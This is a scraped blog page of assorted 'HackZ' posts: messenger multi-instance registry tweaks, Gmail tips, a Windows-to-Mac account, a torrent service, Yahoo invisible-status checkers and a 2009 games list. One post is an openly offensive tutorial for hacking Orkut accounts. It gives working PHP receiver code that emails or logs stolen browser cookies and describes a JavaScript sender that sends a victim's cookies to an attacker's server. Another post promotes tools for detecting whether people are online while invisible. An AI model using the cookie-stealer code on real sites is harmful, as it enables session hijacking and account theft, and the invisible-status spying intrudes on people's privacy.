How To Chat with readers live with google talk chatback badge HackZ

Author: nspanspa // Category: , , , ,
Like Meebo Me, Google Talk now allows you to chat with people who may not have signed up for Google Talk or a Google Account.

This is possible through a new Google Talk Chat Badge
that bloggers can embed in their web pages to chat live with blog
readers and other site visitors.



It really doesn’t matter whether your readers have a Google Talk account or not - they can talk to you through the web page as long as you are signed into your GTalk account.




When they visit your site, they’ll see a badge like the one on the
right showing your online status (available, busy, offline) and, if
you’re available, they can just click and start chatting. Chatback uses
the web-based Google Talk Gadget so your visitors don’t need to
download anything. It opens in a new window so they can keep chatting
with you even if they browse to other pages.

Of course, chatback isn’t just for blogs. You can use it on any web
page that you can add HTML content to. To get started, visit the chatback start page. (This is also linked from the Google Talk homepage.)
Then just copy the provided HTML snippet to your web site. Visitors
will then see a badge on your site indicating your availability, and
can click to start a chat with you. If there’s a time when you don’t
want to be distracted, just set your online status to “busy” and
visitors won’t be able to chat with you until you change your status
back to “available.”


How to use multiple Instances of yahoo messenger and google gtalk HackZ

Author: nspanspa // Category: , , , , ,
If you are a Internet freak as I am , then you must be having a lot
of email id's (yahoo,gmail,hotmail)....however you could run only one
yahoo ID at a time in yahoo messenger.... i figured this out... as easy
as making लस्सी .... just a registry tweak .... having a problem just
consult me through comment.

Follow these steps for yahoo messenger :

1. Go to Start ----> Run . Type regedit, then enter .

2.Navigate to HKEY_CURRENT_USER --------> Software --->yahoo ----->pager---->Test

3.On the right pane , right-click and choose new Dword value .

4.Rename it as Plural.

5.Double click and assign a decimal value of 1.


That's it done!!
Now close registry and restart yahoo messenger .For signing in with new id open another messenger.

for google gtalk :
For
any Google Gtalk fans want to run multiple instance Gtalk messenger
account at the same times. Here is a simple trick you can run multiple
instance of GTalk Account by adding or enter some command the GTalk
Messenger software and run it.
  1. Right Click on your Gtalk
    shortcut.[Remember only this shortcut will run multiple
    instances,others wont be able to unless you edit their properties same
    as we are going to do now]
  2. Now go to properties
  3. In the target box,you will find something like this “C:\Program Files\Google\Google Talk\googletalk.exe”multiple instance of GOogle GTalk
  4. Now
    add -nomutex at the end of text in Target with a space.It will now
    become like “C:\Program Files\Google\Google Talk\googletalk.exe”
    -nomutex.im showing the same in the figure also
  5. Click Ok and you are done
Now
double click on the shortcut and you will see one more instance of
Gtalk running on your PC. You can do the same even for other gtalk
shortcuts in your pc.

Now some more simplified method : 

As
I have multiple ids of gmail and yahoo for either personal and
professional reasons. But you can’t run all ids at once on a single
computer. Either you use different browsers to run the web versions of
gtalk or yahoo web messenger or signin and signout using different ids.
Another solution is using meebo.

How to make cookies and hack Orkut accounts HackZ

How to Make a Cookie Stealer

Introduction

Exactly how does a cookie stealer work, anyway? There are two components in a cookie stealer: the sender and the receiver.

The
sender can take many forms. In essense, it's just a link to the
receiver with the cookie somehow attached. It can sometimes be
difficult to find a way to implement the sender.

The receiver,
as the name suggests, is a device which receives the cookie from the
sender. It can also take several forms, but the most common is that of
PHP document, most commonly found residing on some obscure webserver.


Step One: The Code

Coding
a receiver is the part with which most newbies struggle. Only two
things are needed to make a receiver: a webhost which supports PHP, and
Notepad (see the end of the text for a link to some free PHP hosts).

As
I said in the introduction, the receiver's job is to receive the cookie
from the sender. The easiest way to send information to a PHP document
is by using the HTTP GET method, which appends information to the end
of the URL as a parameter (for example, "page.php?arg1=value"). PHP can
access GET information by accessing $HTTP_GET_VARS[x], where x is a
string containing the name of the argument.

Once the receiver
has the cookie, it needs a way to get that cookie to you. The two most
common ways of doing this are sending it in an email, and storing it in
a log. We'll look at both.


First, let's look at sending it in an email. Here is what such a beast would look like (functioning code):

$cookie = $HTTP_GET_VARS["cookie"]; // line 2
mail("me@mydomain.com", "Cookie stealer report", $cookie); // line 3
?> // line 4


Line 1 tells the server that this is indeed a PHP document.
Line 2 takes the cookie from the URL ("stealer.php?cookie=x") and stores it in the variable $cookie.
Line 3 accesses PHP's mail() function and sends the cookie to "me@mydomain.com" with the subject of "Cookie stealer report".
Line 4 tells the server that the PHP code ends here.


Next, we'll look at my preferred method, which is storing the cookie in a logfile. (functioning code)

$cookie = $HTTP_GET_VARS["cookie"]; // line 2
$file = fopen('cookielog.txt', 'a'); // line 3
fwrite($file, $cookie . "\n\n"); // line 4
?> // line 5


Lines 1 and 2 are the same as before.
Line 3 opens the file "cookielog.txt" for writing, then stores the file's handle in $file.
Line
4 writes the cookie to the file which has its handle in $file. The
period between $cookie and "\n\n" combines the two strings as one. The
"\n\n" acts as a double line-break, making it easier for us to sift
through the log file.
Line 5 is the same as before.


Step Two: Implementing the Stealer

The
hardest part (usually) of making a cookie stealer is finding a way to
use the sender. The simplest method requires use of HTML and
JavaScript, so you have to be sure that your environment supports those
two. Here is an example of a sender.

// Line 3


Line 1 tells the browser that the following chunk of code is to be interpereted as JavaScript.
Line
2 adds document.cookie to the end of the URL, which is then stored in
document.location. Whenever document.location is changed, the browser
is redirected to that URL.
Line 3 tells the browser to stop reading the code as JavaScript (return to HTML).


There are two main ways of implementing the sender:

You
can plant your sender where the victim will view it as an HTML document
with his browser. In order to do that, you have to find some way to
actually post the code somewhere on the site.


Some Important Tips about Gmail HackZ

Author: nspanspa // Category: , , , ,
how2_gmail_1.jpgTired
of stingy ISPs imposing arbitrary email restrictions on you? Yeah, so
are we. 1MB attachment limits, 25MB storage limits, and restricted SMTP
servers are sooo 1997. For a 21st-Century mail experience, step up to
Gmail.
We know what you’re thinking: Webmail is webmail. But
with 2.7GB of storage, 10MB attachment allowances, and an array of easy
hacks that let you customize your mail account in almost any way you
like, Gmail may be the most powerful e-mail tool the world has ever
known. But enough of our yammering. Here’s how to turn your Gmail
account into a messaging dynamo, and more.
1. Use Gmail as an Online Storage Vault
Need
to keep important files handy? You don’t necessarily have to shell out
100 bucks for a high-capacity thumb drive. Instead, use Gmail’s free
2.7GB of storage as an off-site backup for the files you need access
to. The easiest way is to simply attach your file to an email and shoot
it to your Gmail account. Then you can retrieve it at any time just by
logging in and running a quick search of your inbox. Of course, Gmail’s
10MB attachment limit means you won’t be able to archive massive
documents. But it’s a great way keep your most essential files handy
wherever there’s an Internet connection.
To take even greater
advantage of Gmail’s free storage space, you’ll need to download a
helper app. Firefox users can download Gmail Space from Mozilla’s Firefox Add-ons library,
which turns the web browser into an easy-to-use file explorer. The
extension lets you drag and drop files directly into Gmail’s storage
space, without having to worry about the attachment size limit.
Alternatively, you can download Gmail Drive Shell Extension
(free) for more ubiquitous access throughout your Windows PC. Gmail
Drive Shell Extension sets up your Gmail storage space as a network
drive on your PC, which you can access simply by double-clicking the
GMail Drive icon in My Computer and then entering your Gmail username
and password. Once you log in, your Gmail storage will act just like
any other drive on your PC. It even works with Windows Vista.
2. Filter Your Mail with Positive Thinking
The
lowly plus sign gets little respect in this crazy, mixed-up world. But
if you use it the right way with Gmail, it could become your new best
friend. By adding a plus sign and a filter tag to your own Gmail
address, you can figure out which of the sites that you’ve brazenly
given your address to are turning around, stabbing you in your tender,
fleshy backside, and selling it to every half-witted Pr0p3cia spammer
on the net.
This little hack doesn’t require a single tweak to
your Gmail settings. Instead, just use the plus/tag every time you
enter your address into an online form. Our favorite method is to use
the name of the site you’re visiting as the tag, so it’s easy to track
later on. So if you buy some vintage kicks at Raresneakers.com, enter
your email address as username+raresneakers@gmail.com.
Gmail
ignores the plus sign and everything that comes after it, so messages
sent to that address will still make their way to you. But if that site
sells your address to its spamifying associates, you’ll know just by
peeking at the To address in the header. How you choose to exact
revenge is entirely up to you.
You can also use this tip to set up filters for registration codes, listservs, and anything else!
how2_gmail_3a.jpg3. Take Notice with a Notifier
You
don’t have to log into Gmail every time you want to see if you’ve got
mail. Instead, download a Gmail notifier. Although it isn’t prominently
featured on the Gmail site, Google’s own Gmail Notifier is a free download. If you’d rather not install a system tray icon, you can always use a Gmail plugin
for Firefox. Gmail Checker is a low-profile plugin that requires barely
a second thought to keep track of. But if you want to check multiple
Gmail accounts from within Firefox, check out Gmail Manager.
4. Import Your Old Mail into Gmail
If
you decide to switch to Gmail completely, you’ll probably want to bring
your old contacts and messages along for the ride. Importing your
contacts is easy (just click Import in the upper-right corner of the
Contacts screen and select a CSV file exported from your old mail app).
Importing your old email takes a little more doing.
One of the
easiest ways to get your old mail into Gmail is to download Mark Lyon’s
Gmail Loader (aka GML), which you can download from
www.marklyon.org/gmail/. This simple little utility will transfer
messages in the mBox format (including Thunderbird, Eudora, and
Netscape mailboxes) into Gmail. Transferring your mail is as easy as
downloading the app, launching it, entering your Gmail login info,
browsing for your mailbox folder, and clicking Send to Gmail.
To transfer Outlook mailboxes, try Outport,
which can transfer messages from Outlook to a host of other mail
readers, including Gmail. Like GML, Outport has a fairly simple GUI
that’s easy to navigate, so you can get the job done quickly and with a
minimum of mucking around.
Sadly, Gmail will stamp all the
imported mail with the date on which you do the import, rather than
preserve the original received dates from each of your imported
messages. However, you can still find imported messages by date,
because the original received dates are retained within the body of the
messages. So simply searching for “Nov 06” will help you find all
messages from November of 2006.
how2_gmail_6.jpg5. Turn Gmail into an MP3 Player
In
the interest of convenience, Gmail has its own built-in audio player
for use with file attachments. You can put it to work as an online MP3
player by using labels and mail filters to sort your files.
First,
set up a label called MP3. Next, set up a filter that searches for MP3
content by clicking Create a Filter at the top of the screen. Enter
“mp3” in the “Has the words” field and check the box marked “Has
attachment.” This will search for any messages with music files
attached (including any you may have uploaded using the GMail Drive
Shell Extension mentioned earlier). Now click Next Step and check the
box marked “Apply the label” and choose the label MP3. Now any time you
want to pump up some jams, you can click the MP3 label on the left side
of your screen and pick a tune from the list.
6. Email Impersonator
Just
because you’ve switched to Gmail, that doesn’t mean you have to give up
your old email address. Gmail lets you send messages that appear to
come from another address. In the settings pane, click Accounts and
then choose “Add another email address,” then enter the address you’d
like to use. To prevent you from ruining someone else’s life by
masquerading as them on the Internet, Google will send a test message
to verify that the address belongs to you. Then you can choose to make
that new address your default identity, so nobody needs to know that
you’re really sending from Gmail. To complete the transformation, set
up a forwarder for your other address’s account, so that all of your
mail reaches your Gmail account.

My experience: Moving from Windows to MAC

Author: nspanspa // Category: , , , ,

win-2-mac

Hey guys! I recently bought MAC mini, and in this article I would really like to share my experience with you in transfer from Windows to MAC. I personally used windows since the time that one use to feel ms paint is great. At that time I had never thought that  I will use MAC sometimes. I also tried Linux, but the joy and satisfaction MAC gave me, windows and Linux were nowhere.
It was an old MAC mini which gave me 10.3 installed in it, but no wonder I had an upgraded version which I immediately gave a run. It took about 35 to 40 min to complete the installation. Then I had 10.4 Tiger. Many people who own what some call “Series A” Mac Minis have complained about the Mini being slow when they upgraded to 10.4 Tiger, but for me it seemed faster than before. .After the initial sweep of the desktop I promptly loaded the Disk Utility and formatted my external HDD to HFS+ so I could store applications on it, instead of using the 40GB internal HDD. If I hadn’t read the external HDD’s formatting for Mac OS X user guide, I probably would have spent a while searching for how to format the HDD.

5 cool features of MAC

  • All the applications have a single shared tool bar. This was difficult for me to use. Reason being a long lasting use of windows.
  • MAC allows any one to surf and check their mails due to the feature of Guest Log-In Accounts.
  • Take advantage of Text Edit support for the Word 2007 and Open Document formats for reading and writing.
  • Save the configuration of all your open windows as a workspace. The location, window settings, and shell configurations of multiple windows can then be recalled instantly.
  • Get yourself a .Mac account and your System Preferences can stay in sync across all your Macs. No matter what Mac you use, you’ll feel right at home.

Some more features

  • Application installation: For the vast majority of applications this involves double clicking on a *.dmg file (Disk Image); Mac OS X mounts the image as a drive and then you just drag the Application to the Applications folder, or in my case onto my External HDD. Un-installing involved dragging the application from the Applications folder to the Trash can, I personally prefer this over the Windows way of installing and un-installing applications, but that may be personal preference.
  • Things I liked in MAC: Firstly a DVD Player. I understand that Microsoft can’t include a CSS decoder in Windows because all the DVD software producers like Cyber link, etc would claim unfair business practices because it was decreasing the number of possible customers for their products, kind of like what happened with WMP in the EU.
I don’t know why people say that windows are the best when they have so many options available. If I have an option between windows and Linux, I would surely go for Linux. Reason being open source and I will get lot of things to learn from it. I admit windows is a user friendly OS but people should also explore.
  • GUI transition, what are my thoughts on the GUI? well I like it, being brought up on Windows, KDE and such I personally would have preferred a start menu approach but that’s basically because that’s what I’m used to, but finding applications in Finder isn’t all that difficult to get used to. In terms of adapting to the GUI, I’ve begun to use keyboard shortcuts more and more, I personally thought the one buttoned mouse would be a hindrance to the OS overall usability but in fact it has little bearing on its usability in my opinion.
So far I haven’t really come across any media files or such that are un-usable, only media I can not access is Yahoo’s Video Launch service, but that’s due to it requiring Netscape 4.7 being installed when accessing using Mac OS X, which is a bit sad when you consider how old Netscape 4.7 is.
Overall I am enjoying MAC.

btaccel - The Fastest Way to Download Torrents HackZ

Author: nspanspa // Category: , , , ,
TorrentTorrents. What was the first thing that came into your mind? Illegal? Warez? Axxo? The torrent system was meant to share large files without using up too much bandwidth. However downloading a torrent is not a piece of cake for the novice user. Seeds, peers, leechers all could be overwhelming. Enter btaccel - torrent downloading made easy and fast.

So whats so good about btaccel?

Earlier downloading a torrent file meant downloading a torrent download client (like bittorrent or µTorrent). Then after searching the torrent file, you download it to your PC and feed it into the client. Then you wait for people to seed (or share) it with you. Personally, this was very frustrating for me. And add to that the slow internet connections that we get in India!
btaccel eliminates the process of downloading the torrent from the torrent sites and through the torrent client softwares. Instead the the good people at btaccel download the file for you, host it on their servers and give you direct download links, which remain live for 72 hours since its creation.

How’s it different from normal torrent downloading procedure?

Well first of all, it eliminated the tedious and often confusing task of downloading torrents via clients such as bittorrent etc. btaccel downloads the torrents to their servers and gives download links of their servers to you. That means you don’t have to depend on the number or quality of seeds and peers. (or curse the leechers :D )
Advantages:
  • Free. Yup unbelievably this service (which is currently in alpha) is free as of the time of posting this article.
  • Fast downloads of torrents. No more depending on seeds or torrent clients.
  • E-mail alert when torrent file is ready for download.
Disadvantages:
  • Well, as mentioned before, the download links are live only for 72 hours since it has been created. But hey, 3 days should be more than enough to download any movieor album.
As the service is currently in alpha, registrations are currently based on invite code. You could use the invite code provided at MakeUseOf.com or request a invite code from btaccel, here.

Hoe to Check Check Who is Invisible/Online on Yahoo Messenger! HackZ

Author: nspanspa // Category: , , , , ,
One of my Orkut friend Niharika Arora asked me on Orkut how to check if a person is online on yahoo messenger? I googled for sometime and here are my tested results…
First let me tell you coolest thing about hacks in this tutorial. They do not require targeted yahoo user to be on your friend list! Now..

To Check Online Status:

This will work only if user is online and NOT into invisible mode. Invisible part is covered later… ;-)
First Official Way: Go to Yahoos profile directory and check target user profile. Say you want to check status of someone (where someone is Yahoo ID). Now suffix someone toURL http://profiles.yahoo.com/ so it will becomehttp://profiles.yahoo.com/someone. Open final URL in browser and the profile will have status indicator!
Another Way: There are many simple sites which takes Yahoo ID and returns status of Yahoo user. I have tested http://www.blockstatus.com/yahoo/status-checkersuccessfully!
This part is not a hack but official Yahoo feature documented here.
If you want PHP code to create a status-checker page of your own, this page may help you.

To Check Invisible Status:

I tested and used a third-party program named Buddy-Spy! Unlike above this requires a Yahoo account. I strongly discourage using your own Yahoo ID. You better create a new one! ;-)
Following is a screenshot of my test result, which says everything.
Yahoo Visible
Also point to note is that I was not in friend-list of Yahoo account used for testing! :D
Buddy-Spy Links: Download | Homepage | User Guide
Update: Try http://yahoostatus.ro/. Its tested, working fine and web-based! (Added October 7, 2008)

Most Awaited Games of 2009 HAckZ

Author: nspanspa // Category: , , , ,
games2009 has been a great year for gamers as famous and amazing games likeGTA 4, Burnout Paradise Ultimate Box, etc have released and have taken over our minds. So here I am going to share a list of “Most Anticipated Games Of 2009″.

1. Resident Evil 5

Resident_Evil_5
This is one major franchise that was reborn with its latest offering Resident Evil 5. After the success of Resident Evil 5, our expectations for Resident Evil 5 have risen. RE 5 has all those things which were missed in RE4 Co-op gameplay and some new features.

2. God Of War 3


The God of War is ready and is looking better than ever before. God of War 3 is the fourth game in the series and the first one to be presented in full HD. The game will follow Kratos as he wages a massive war against others gods. And, as seen in the previous games, we don’t expect anything/anyone to survive. The PS3’s secret weapon will be the last game in the series (such is the rumor), so we guess Kratos plans to go down with a bang. There is very little info about the game, but we do know that its going to make other actionadventure games weep like three-year-olds.

3. Ninja Blade

Ninjablade
Ninja Gaiden the series may be dead but there is a new Ninja ready to claim the mantle. The latest ninja adventure is called Ninja Blade and promises to deliver the most cinematic adventure yet. The demo showcased some cool moves and was fairly impressive. However, we await the full game, which looks promising.

4. Godfather 2

godfather2
Most movie buffs find The Godfather II better than the first part; I am one of them. I’m sure EA will hope for a similar trend for their latest game in the Godfather series, simply titled The Godfather 2. The game is mix of action and strategy, giving gamers absolute control of his men, while acting like a real mafia don. The new concept called Don’s Eye View will enable gamers to keep a track of the city and its activities and then take appropriate action. Sounds cool? Let’s wait for the full game and see it in action.

5. Prototype

prototype-man
This is yet another sandbox game that revolves around superpowers but the game’s lead character Alex isn’t a hero. In fact he is a shape-shifting, memory-stealing mutant! Alex can consume the physical features and memories of his victims, he can pick up and throwcars with ease, as well as jump really high. These superhuman abilities look really cool in the gameplay videos, how well the developers have incorporated them in gameplay is something we have to wait and see.
Note: Few of these games have released, but these were among the list of most awaited games of 2009.
